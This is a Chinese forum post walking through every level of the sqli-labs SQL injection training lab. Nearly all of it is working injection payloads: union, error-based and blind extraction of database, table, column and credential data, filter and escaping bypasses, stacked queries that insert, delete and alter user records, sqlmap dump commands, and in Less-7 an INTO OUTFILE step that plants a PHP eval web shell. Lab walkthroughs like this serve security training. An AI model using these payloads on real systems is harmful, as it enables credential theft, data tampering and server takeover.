用户
搜索

[web安全] sqlilabs通关篇

  • TA的每日心情
    擦汗
    2021-4-14 15:07
  • 签到天数: 13 天

    连续签到: 3 天

    [LV.3]经常看看I

    i春秋-呆萌菜鸟

    Rank: 1

    4

    主题

    7

    帖子

    244

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-11-4
    发表于 2021-4-8 19:29:24 15003
    Less-1        单引号报错注入
    1.判断注入类型
    输入一个'报错,输入"不报错说明是单引号注入
    image-20210211110342462.png
    2.判断列数
    http://127.0.0.1/sqllab/Less-1/?id=1' order by 3 --+    正常
    http://127.0.0.1/sqllab/Less-1/?id=1' order by 3 --+    报错
    说明存在3列数据
    3.判断回显位置
    http://127.0.0.1/sqllab/Less-1/?id=1' union select 1,2,3 --+
    image-20210211110516735.png
    发现在2,3位置存在回显,即可通过union语句获取数据,此处以获得database为例
    http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,database(),3 --+
    image-20210211110622760.png
    获得数据库为security
    其他可以参照Less-2
    Less-2        数值型报错注入
    1.判断注入类型
    输入一个'报错
    image-20201002193833995.png
    再输入一个"依旧报错,说明该题属于数值型注入
    image-20201002193919491.png
    2.通过order by判断列数
    输出3时,页面回显正常
    image-20201002194004392.png
    输入4时,页面报错,说明共有3列
    image-20201002194103807.png
    3.构建select语句,判断回显位置
    image-20201002194221177.png
    发现2,3位置可以回显内容
    4.构建select语句,判断数据库名
    http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,2,database()--+
    image-20201002194324146.png
    5.爆表名
    http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
    image-20201002194508625.png
    6.爆列名
    http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
    image-20201002194720545.png
    7.爆字段
    http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,username,password from users limit 0,1--+

    Less-3        单引号括号注入
    1.判断注入类型
    输入一个'报错,根据报错信息发现是单引号加上括号报错
    image-20201002195539168.png
    加上单引号以及右括号页面回显正常
    image-20201002195658966.png
    2.其他与Less2 类似

    Less-4        双引号括号注入
    1.判断注入类型
    输入单引号不报错
    image-20201002195825079.png
    输入双引号报错。通过查看报错信息发现该题属于双引号加上括号报错
    image-20201002195848968.png
    闭合双引号与括号页面回显正常
    image-20201002200010727.png

    Less-5        单引号盲注
    1)判断注入类型
    输入:http://127.0.0.1/sqllab/Less-5/?id=1'    错误
    输入:http://127.0.0.1/sqllab/Less-5/?id=1"    正常
    说明是单引号注入
    2)判断数据库长度
    输入:http://127.0.0.1/sqllab/Less-5/?id=1' and length(database())=8 --+   正常
    输入:http://127.0.0.1/sqllab/Less-5/?id=1' and length(database())=9 --+   错误
    说明数据库长度为8
    3)判断数据库名
    方式一:通过二分法
    1.判断数据库第一位的ascii码值是否大于64
    输入:http://127.0.0.1/sqllab/Less-5/?id=1'and ascii(substr(database(),1,1))>64 --+    正常
    2.判断数据库第一位的ascii码值是否大于96
    输入:http://127.0.0.1/sqllab/Less-5/?id=1'and ascii(substr(database(),1,1))>96 --+    正常
    3.判断数据库第一位的ascii码值是否大于112
    输入:http://127.0.0.1/sqllab/Less-5/?id=1'and ascii(substr(database(),1,1))>112 --+   正常
    4.判断数据库第一位的ascii码值是否大于118
    输入:http://127.0.0.1/sqllab/Less-5/?id=1'and ascii(substr(database(),1,1))>118 --+   错误
    所以第一位在112到118之间,继续测试可以得到第一位是115,对应ascii码中的s
    继续通过二分法可得数据库名为security
    方式二:通过burpsuite爆破数据库
    image-20210211112538747.png
    通过对照ascii可以判断出数据库名为security
    4)判断数据表的个数
    http://127.0.0.1/sqllab/Less-5/?id=1' and (select count(*) from information_schema.tables where table_schema='security')>=5 --+ 正常
    http://127.0.0.1/sqllab/Less-5/?id=1' and (select count(*) from information_schema.tables where table_schema='security')>5 --+  错误
    说明该数据库共有5张数据表
    5)获取数据表
    判断第一张数据表的第一个字符
    http://10.10.10.1/sqllab/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
    image-20201002211427574.png
    第一个表为email,依次爆破表
    image-20201002221115881.png
    第二个表为 referers
    image-20201002222248184.png
    第三个表为uagents
    image-20201002222726374.png
    第四个表为users
    6)获取列名
    方式一:通用方法获取列名
    http://10.10.10.1/sqllab/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105 --+
    通过burp依次爆破即可
    方式二:通过regexp获取列名
    判断是否有username字段
    http://10.10.10.1/sqllab/Less-5/?id=1' and 1 = (select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) --+
    image-20201002223920605.png
    判断是否有password字段
    http://10.10.10.1/sqllab/Less-5/?id=1' and 1 = (select 1 from information_schema.columns where table_name='users' and column_name regexp '^password' limit 0,1) --+
    image-20201002223903661.png
    方式三:通过like获取列名
    判断是否有username字段
    http://10.10.10.1/sqllab/Less-5/?id=1' and 1 = (select 1 from information_schema.columns where table_name='users' and column_name like '%username%' limit 0,1) --+
    判断是否有password字段
    http://10.10.10.1/sqllab/Less-5/?id=1' and 1 = (select 1 from information_schema.columns where table_name='users' and column_name like '%password%' limit 0,1) --+
    7)获取敏感数据
    http://10.10.10.1/sqllab/Less-5/?id=1' and (ascii(substr((select username from users limit 0,1),1,1)))=68 --+
    image-20210211115411073.png
    第一个用户名为Dumb,其他数据依次爆破即可
    8)通过工具获取数据
    通过sqlmap获取数据库,表名,列名,字段名
    数据库:
    sqlmap -u http://192.168.198.1/sqllab/Less-5/?id=1 --dbs
    表名:
    sqlmap -u http://192.168.198.1/sqllab/Less-5/?id=1 -D security --tables
    列名:
    sqlmap -u http://192.168.198.1/sqllab/Less-5/?id=1 -D security -T users --columns
    字段
    Username:
    sqlmap -u http://192.168.198.1/sqllab/Less-5/?id=1 -D security -T users -C username --dump
    Password:
    sqlmap -u http://192.168.198.1/sqllab/Less-5/?id=1 -D security -T users -C password --dump
    Less-6        双引号盲注
    1)判断注入类型
    http://10.10.10.1/sqllab/Less-6/?id=1'  正常
    http://10.10.10.1/sqllab/Less-6/?id=1"  报错
    http://10.10.10.1/sqllab/Less-6/?id=1" and 1=1 --+  正常
    http://10.10.10.1/sqllab/Less-6/?id=1" and 1=2 --+  错误
    说明注入类型是双引号盲注。
    其他参照Less5就可以

    Less-7        文件写入
    1)判断注入类型
    http://127.0.0.1/sqllab/Less-7/?id=1'       报错
    http://127.0.0.1/sqllab/Less-7/?id=1')) --+ 正常
    2)判断列数
    http://127.0.0.1/sqllab/Less-7/?id=1')) order by 3 --+  正常
    http://127.0.0.1/sqllab/Less-7/?id=1')) order by 4 --+  报错
    说明存在3列
    3)文件写入
    http://127.0.0.1/sqllab/Less-7/?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["v"]);?>' into outfile "E:\\phpStudy\\PHPTutorial\\WWW\\hack123.php" --+
    4)文件读取
    http://127.0.0.1/sqllab/Less-7/?id=1')) UNION SELECT 1,2,load_file('C:\\123.txt') --+Less-8        单引号时间盲注http://127.0.0.1/sqllab/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+Less-9        单引号时间盲注http://127.0.0.1/sqllab/Less-9/?id=1' and if(ascii(substr(database(),2,1))=101,1,sleep(5)) --+Less-10        双引号时间盲注http://127.0.0.1/sqllab/Less-10?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5))  --+Less-11        POST型单引号注入union:1' union select 1,database()#
    报错注入:1' and updatexml(1,concat(0x7e,(database())),1) ='1Less-12        POST型双引号单括号注入报错注入:")  and updatexml(1,concat(0x7e,(database())),1) =("1
    union: 1admin") union select 1,database()#Less-13        POST型单引号双括号注入报错注入:1') and updatexml(1,concat(0x7e,(database())),1) =('1
    时间型盲注:admin') and ascii(substr(database(),1,1))=115#Less-14        POST型双引号注入报错注入:" and updatexml(1,concat(0x7e,(database())),1) ="1
    布尔型盲注:admin" and ascii(substr(database(),1,1))=115 #
    时间型盲注:admin" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) #Less-15        POST型单引号盲注时间型盲注:
    admin' and if(ascii(substr(database(),1,1))=115,1,sleep(5))#
    1' or if(ascii(substr(database(),1,1))=115,1,sleep(5))#
    布尔型盲注:
    admin' and ascii(substr(database(),1,1))=115 #Less-16        POST型双引号单括号盲注admin") and if(ascii(substr(database(),1,1))=115,1,sleep(5))#Less-17        POST型更新报错注入
    分析源码得知,该关对username这个输入框做了严格限制,因此可以尝试一下通过New Password这个输入框进行报错注入。
    admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#  
    image-20210212185140297.png
    image-20210212185038112.png
    Less18        POST型UA头部注入
    通过爆破得到用户名密码,登录后发现该页面返回了UA信息,因此可能会存在UA注入
    image-20210212190130010.png
    输入',在burp中抓包测试,发现报错,因此可以通过报错注入进行数据获取
    image-20210212190859709.png
    ' and updatexml(1,concat(0x7e,(database()),0x7e),1)='1
    在回显结果中可以发现报错结果
    image-20210212190659088.png
    Less19        POST型Re头部注入
    登录后发现Re信息回显在页面上,因此可以参照18关
    ' and updatexml(1,concat(0x7e,(database()),0x7e),1)='1
    image-20210212201200412.png
    Less20        POST型cookie注入
    登录后发现Cookie信息回显在页面上,因此可以参照18关
    uname=admin' and extractvalue(1,concat(0x7e,(database()),0x7e))='1
    image-20210212203039083.png
    Less21        POST型单引号base64注入
    登录后发现Cookie的信息通过了base64编码,且回显在页面上
    image-20210212205056201.png
    因此构造报错语句并进行base64编码获取数据
    base64前:admin' and updatexml(1,concat(0x7e,database()),1)='1
    base64后:YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSwxKT0nMSA=
    image-20210212205303220.png
    Less-22        POST型双引号base64注入
    和21关类似只是将单引号换成了双引号
    base64前:admin" and updatexml(1,concat(0x7e,database()),1)="1
              admin" or updatexml(1,concat(0x7e,database()),1) #
    base64后:YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSwxKT0iMSA=Less-23        注释符被过滤
    首先通过输入单引号和双引号发现属于单引号注入,但是添加注释符后页面仍然报错,说明注释符可能被屏蔽了
    因此可以通过构造报错语句进行绕过
    http://127.0.0.1/sqllab/Less-23/?id=1' and updatexml(1,concat(0x7e,(database())),1)='1
    image-20210212211022963.png
    也可以通过union语句绕过
    http://127.0.0.1/sqllab/Less-23/?id=1' union select 1,database(),'3
    image-20210212211354502.png
    Less-24        二次注入
    是一个登陆页面,我们没有账号,所以选择新建一个用户
    20181204091524714.png
    我们新建的用户名为:admin'#  密码为:123456
    查看数据库,可以看到,我们的数据插入进去了
    20181204091947970.png
    我们使用新建的用户名和密码登录
    20181204092025954.png
    登录成功了,跳转到了后台页面修改密码页面。
    我们修改用户名为:admin'#  密码为:aaaaaaaaa
    20181204092220974.png
    提示密码更新成功!
    20181204092249574.png
    我们查看数据库,发现用户 admin'# 的密码并没有修改,而且 admin 用户的密码修改为了 aaaaaaaaaa
    2018120409241396.png
    那么,为什么会这样呢?我们查看修改密码页面源代码,发现这里存在明显的SQL注入漏洞
    20181204093108151.png
    当我们提交用户名 admin'# 修改密码为 aaaaaaaaaa 的时候,这条SQL语句就变成了下面的语句了。
    #把后面的都给注释了,所以就是修改了admin用户的密码为 aaaaaaaaaa
    $sql = "UPDATE users SET PASSWORD='aaaaaaaaaa' where username='admin'#' and password='$curr_pass' ";Less-25        and和or被过滤
    先输入'发现页面报错,然后闭合'输入测试语句,页面报错发现and被过滤
    image-20210212213900070.png
    http://127.0.0.1/sqllab/Less-25/?id=1' aandnd '1'='1
    image-20210212214101313.png
    然后判断列数时发现or也被过滤了,双写or即可绕过
    image-20210212213913217.png
    http://127.0.0.1/sqllab/Less-25/?id=1' oorrder by 3 --+Less-25a        空格和注释被过滤e
    与Less-25关类似,就是注入类型是数值型注入
    Less-26        空格,and,or,注释符被过滤
    &&代替and时,需要先进行url编码,否则会报错,而||则不用。
    1)暴库
    http://127.0.0.1/sqllab/Less-26/?id=1'||updatexml(1,concat(0x7e,(database())),1)='1
    http://127.0.0.1/sqllab/Less-26/?id=1'%26%26updatexml(1,concat(0x7e,(database())),1)='1
    http://127.0.0.1/sqllab/Less-26/?id=0'%a0union%a0select%a01,database(),3%26%26'1'='1
    image-20210212223919016.png
    2)暴表
    http://127.0.0.1/sqllab/Less-26/?id=100'%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0aandnd%a0'1'='1
    image-20210212223906253.png 3)暴列
    http://127.0.0.1/sqllab/Less-26/?id=100'%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=database()%a0aandnd%a0table_name='users'%a0aandnd%a0'1'='1
    image-20210212223948529.png
    4)爆字段
    http://127.0.0.1/sqllab/Less-26/?id=100%27%a0union%a0select%a01,(concat_ws(',',username,passwoorrd)),3%a0from%a0users%a0where%a01%a0%26%26%a0%271%27%a0=%271
    image-20210213001239888.png

    Less-27        union,select被过滤
    测试发现union,select,注释均被过滤。可以采用双写或者大小写的方式进行过滤。这里采用大小写
    输入'报错,说明是单引号注入
    获取数据库名:
    http://127.0.0.1/sqllab/Less-27/?id=100'%a0UNion%a0SeleCt%a01,database(),3%a0and '1'%a0='1Less-27a
    输入"报错说明是双引号注入,其他与27关一致
    获取数据库名:
    http://127.0.0.1/sqllab/Less-27a/?id=100"%a0UNion%a0SeleCt%a01,database(),3%a0and '1'%a0="1Less-28        空格被过滤,union和select不能相连http://127.0.0.1/sqllab/Less-28/?id=100')ununion%0Aselection%0Aselect%0A1,database(),3||('1')=('1
    image-20210213114811466.png
    Less-28a       
    和28关一致
    Less-29        HPP参数污染
    观察源码可以通过id传入的值都被转化为数字型,因此不存在注入条件,但是却可以接受多个参数,因此可以使用HPP参数污染进行注入
    image-20210213145241274.png
    1)构造HPP参数污染,看看数据库真正接受的位置在哪
    http://127.0.0.1/sqllab/Less-29/login.php?id=-1&id=2
    image-20210213145642837.png
    发现后端接收的是第二个id参数传入的值,因此可以通过第二个id参数完成注入
    http://127.0.0.1/sqllab/Less-29/login.php?id=1&id=-2' union select 1,2,(SELECT+concat_ws(',',username,password)+FROM+users limit 0,1
    或者
    http://127.0.0.1/sqllab/Less-29/login.php?id=1&id=-2' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+
    image-20210213150100649.png
    Less-30        HPP参数污染
    与29关类似,只是将'换成"即可
    Less-31        HPP参数污染
    与29关类似,只是将'换成")即可
    http://127.0.0.1/sqllab/Less-31/login.php?id=1&id=-2") union select 1,2,(SELECT+GROUP_CONCAT(username,0x7e,password)+FROM+users)--+Less-32&33 单引号双引号\等均被转义
    若编码格式为GBK,则可以使用宽字节进行绕过
    http://127.0.0.1/sqllab/Less-32/?id=1%df' and 1=1 --+   正常
    http://127.0.0.1/sqllab/Less-32/?id=1%df' and 1=1 --+   错误
    说明存在SQL注入漏洞
    获取数据库名
    http://127.0.0.1/sqllab/Less-32/?id=-1%df' union select 1,2,database() --+
    image-20210213153449553.png
    Less-34        POST型单引号绕过
    方式一:通过burpsuite抓取数据包并通过%df绕过单引号。浏览器在发送post请求报包时会自动将%df中的%进行url编码,从而失去绕过'的能力。
    image-20210213163619342.png
    回显内容返回到了页面上,因此可以继续通过union注入进行获取数据
    image-20210213163638396.png
    获取数据表
    admin%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 #
    image-20210213164024318.png
    其他按照传统思路即可
    方式二:通过utf-16混编的'实现绕过
    �' union select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a#
    image-20210213164337436.png
    Less-35        数值型addslashes
    该关对传入的id使用addslashes进行转义,但是对数值型无效。只要用平常数值型注入语句即可。。
    http://127.0.0.1/sqllab/Less-35/?id=-1 union select 1,database(),3 #
    image-20210213165026825.png
    Less-36        Get型mysql_real_escape_string函数
    使用宽字节注入绕过。
    http://127.0.0.1/sqllab/Less-36/?id=-1%df' union select 1,2,database() --+
    image-20210213165936612.png
    Less-37        POST型mysql_real_escape_string函数
    和34关一致。
    Less-38        堆叠注入
    (1)前言
      国内有的称为堆查询注入,也有称之为堆叠注入。个人认为称之为堆叠注入更为准确。堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据和调用存储过程的目的。这种技术在SQL注入中还是比较频繁的。
    (2)原理介绍
      在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
    例子:
    select * from student whereid=1;create table test;
    当执行查询后,第一条显示查询信息,第二条则创建一个test表。
    插入用户
    http://127.0.0.1/sqllabs/Less-38/?id=-1' union select 1,database(),3;insert into users values(18,'zhong','zhong')%23
    http://127.0.0.1/sqllabs/Less-38/?id=-1' union select 1,database(),3;insert into users values(19,'C1ay','hack')%23
    image-20210213185617296.png
    image-20210213180612119.png
    删除用户zhong
    http://127.0.0.1/sqllabs/Less-38/?id=-1' union select 1,database(),3;delete from users where id=18 %23
    image-20210213185913321.png
    修改C1ay的密码
    http://127.0.0.1/sqllabs/Less-38/?id=-1' union select 1,database(),3;update users set password='a123456.' where id=19 %23
    image-20210213190016313.png
    Less-39       
    同38关一样,注入类型是数值型注入
    Less-40
    同38关一样,注入类型是单引号单括号注入
    image-20210213190233244.png
    Less-41
    数值型堆叠注入。

    http://127.0.0.1/sqllabs/Less-41/?id=-1 union select 1,database(),3
    image-20210213190818394.png
    这里我们来了解一下函数 mysqli_multi_query()和mysql_fetch_row()
    定义和用法

    mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
    语法
    mysqli_multi_query(connection,query);

    参数     描述
    connection     必需。规定要使用的 MySQL 连接。
    query     必需。规定一个或多个查询,用分号进行分隔。
    技术细节
    返回值:     如果第一个查询失败则返回 FALSE。
    PHP 版本:     5+mysql_fetch_row() 函数从结果集中取得一行作为数字数组。
    语法

    mysql_fetch_row(data)

    参数     描述
    data     必需。要使用的数据指针。该数据指针是从 mysql_query() 返回的结果。
    说明

    mysql_fetch_row() 从和结果标识 data 关联的结果集中取得一行数据并作为数组返回。每个结果的列储存在一个数组的单元中,偏移量从 0 开始。

    依次调用 mysql_fetch_row() 将返回结果集中的下一行,如果没有更多行则返回 FALSE。
    返回值

    返回根据所取得的行生成的数组,如果没有更多行则返回 false。
    例子

    <?php
    $con = mysql_connect("localhost", "hello", "321");
    if (!$con)
      {
      die('Could not connect: ' . mysql_error());
      }

    $db_selected = mysql_select_db("test_db",$con);
    $sql = "SELECT * from Person WHERE Lastname='Adams'";
    $result = mysql_query($sql,$con);
    print_r(mysql_fetch_row($result));

    mysql_close($con);
    ?>

    输出:

    Array
    (
    [0] => Adams
    [1] => John
    [2] => London
    )
    Less-42        堆叠注入实现注册
    进入该关,页面如下:
    image-20210213191213108.png
    该关不允许创建用户
    查看源码
    image-20210213192155837.png
    账号进行了转义,密码没有。因此可以使用堆叠注入进行插入数据来完成注册用户登录该行为。
    c';insert into users (username,password) values ("hack","hack")#
    image-20210213192807866.png
    image-20210213192952912.png
    登录成功。
    Less-43
    与42关原理一致,只是闭合方式不同。为')型。
    Less-44
    与42关原理一致,只是没有报错信息。
    Less-45
    和44关一模一样。
    Less-46 order by注入
    这一关开始就是新知识点,order by注入。这时的sql语句是$sql = "SELECT * FROM users ORDER BY $id";注入点再order by后面的参数上。首先先要尝试输入/?sort=1 desc和/?sort=1 asc根据显示的不同,可以判断有没有注入点。有三种注入形式1、直接添加注入语句,/?sort=(select databases())2、利用一些函数。如 rand()函数等,/?sort=rand(sql 语句) 返回的结果和sql语句的真假有关系。rand(ture)和 rand(false)的结果是不一样的。
    http://127.0.0.1/sqllabs/Less-46/?sort=rand(left(database(),1)='s')
    3、利用 and,如/?sort=1 and (加 sql 语句)。 sql可以为报错注入或者延时注入。直接查询:/?sort=(select%20database())。
    方式一:floor注入
    http://127.0.0.1/sqllabs/Less-46/?sort=(select 1 from (select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2)))a)
    方式二:limit注入
    http://127.0.0.1/sqllabs/Less-46/?sort=1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
    方式三:延迟注入
    ?sort= (select if(substr(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) from (select database() as current) as test)
    ?sort=1 and if(ascii(substr(database(),1,1))=115,0,sleep(5)) Less-47       
    这关和46关原理一样,只是闭合方式不同,单引号闭合型,后边记得加–+进行注释。直接查询:/?sort=1' and (select database())--+报错查询数据库:
    http://127.0.0.1/sqllabs/Less-47/?sort=1' and (select 1 from (select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2)))a) --+
    image-20210213234704850.png
    Less-48
    这关没有报错回显,可以用/?sort=rand(true/false)`。输入:
    /?sort=rand(ascii(left(database(),1))=178)
    或者And 后的延时注入
    /?sort=1 and (If(ascii(substr(database(),1,1))=115,0,sleep(5)))Less-49/?sort=1' and (If(ascii(substr((select username from users where id=1),1,1))=69,0,sleep(5)))--+Less-50        order by 堆叠注入
    从本关开始我们 order by stacked injection(排序叠层注入)之前我们执行sql语句使用的是 mysqli _query(),而这里使用的是mysqli_multi_query()函数。区别在于前者执行一个sql语句而后者可以在执行多个sql语句,中间可以用;隔开。那这样就可以输入/?sort=1;insert into user (username,password) values ("less50",“123”),插入数据,登录成功。
    Less-51
    这关和上关一样,只是'闭合型。
    Less-52
    和50关一样,只是mysql 错误不会在前台显示,但是对于堆叠注入是一样。
    Less-53
    同52关。
    Less-54        'union注入
    因为该关只有10次机会,且数据库名为challenges,且数据表和数据列时刻改变
    1)获取数据表
    http://127.0.0.1/sqllabs/Less-54/?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+
    image-20210213235558591.png
    2)获取数据列
    http://127.0.0.1/sqllabs/Less-54/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='8rjcw8w0sm'),3 --+
    image-20210213235734705.png
    3)获取数据
    http://127.0.0.1/sqllabs/Less-54/?id=0' union select 1,(select group_concat(secret_D2L9) from 8rjcw8w0sm),3 --+
    image-20210213235853403.png
    Less-55        )union注入
    1)获取表名
    http://127.0.0.1/sqllabs/Less-55/?id=0) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+
    image-20210214000208739.png
    2)查列名
    http://127.0.0.1/sqllabs/Less-55/?id=0) union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='tierflqvuq'),3 --+
    image-20210214000311271.png
    3)获取数据
    http://127.0.0.1/sqllabs/Less-55/?id=0) union select 1,(select group_concat(secret_SIT9) from tierflqvuq),3 --+
    image-20210214000425619.png
    Less-56        ')注入
    该关是')注入,其他和上面一样
    image-20210214000553501.png
    Less-57        "注入
    这关是"型闭合,其余与54关一样。
    Less-58        '报错注入
    该关只有五次机会,因此使用报错注入
    1)获取表名
    http://127.0.0.1/sqllabs/Less-58/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e)) --+
    image-20210214001714821.png

    2)获取列名
    http://127.0.0.1/sqllabs/Less-58/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='3hvxkujpsm'),0x7e)) --+
    image-20210214001815680.png
    3)获取数据
    http://127.0.0.1/sqllabs/Less-58/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(secret_L9CI) from 3hvxkujpsm),0x7e)) --+
    image-20210214002147267.png
    Less-59
    这关是数字型,其余的与58关一致。
    Less-60
    这关是")型闭合,其余与58关一致。
    Less-61
    这关是'))型闭合,头一次碰见,其余与58关一致。
    Less-62        ')延迟注入
    此处 union 和报错注入都已经失效了,那我们就要使用延时注入了。
    /?id=1')and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+
    通过burp即可
    Less-63
    这关为'闭合型,其余与62关一样。
    Less-64
    这关为))型,其余与62关一样。
    Less-65
    这关为")型闭合,其余与62关一样。

    感谢分享
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册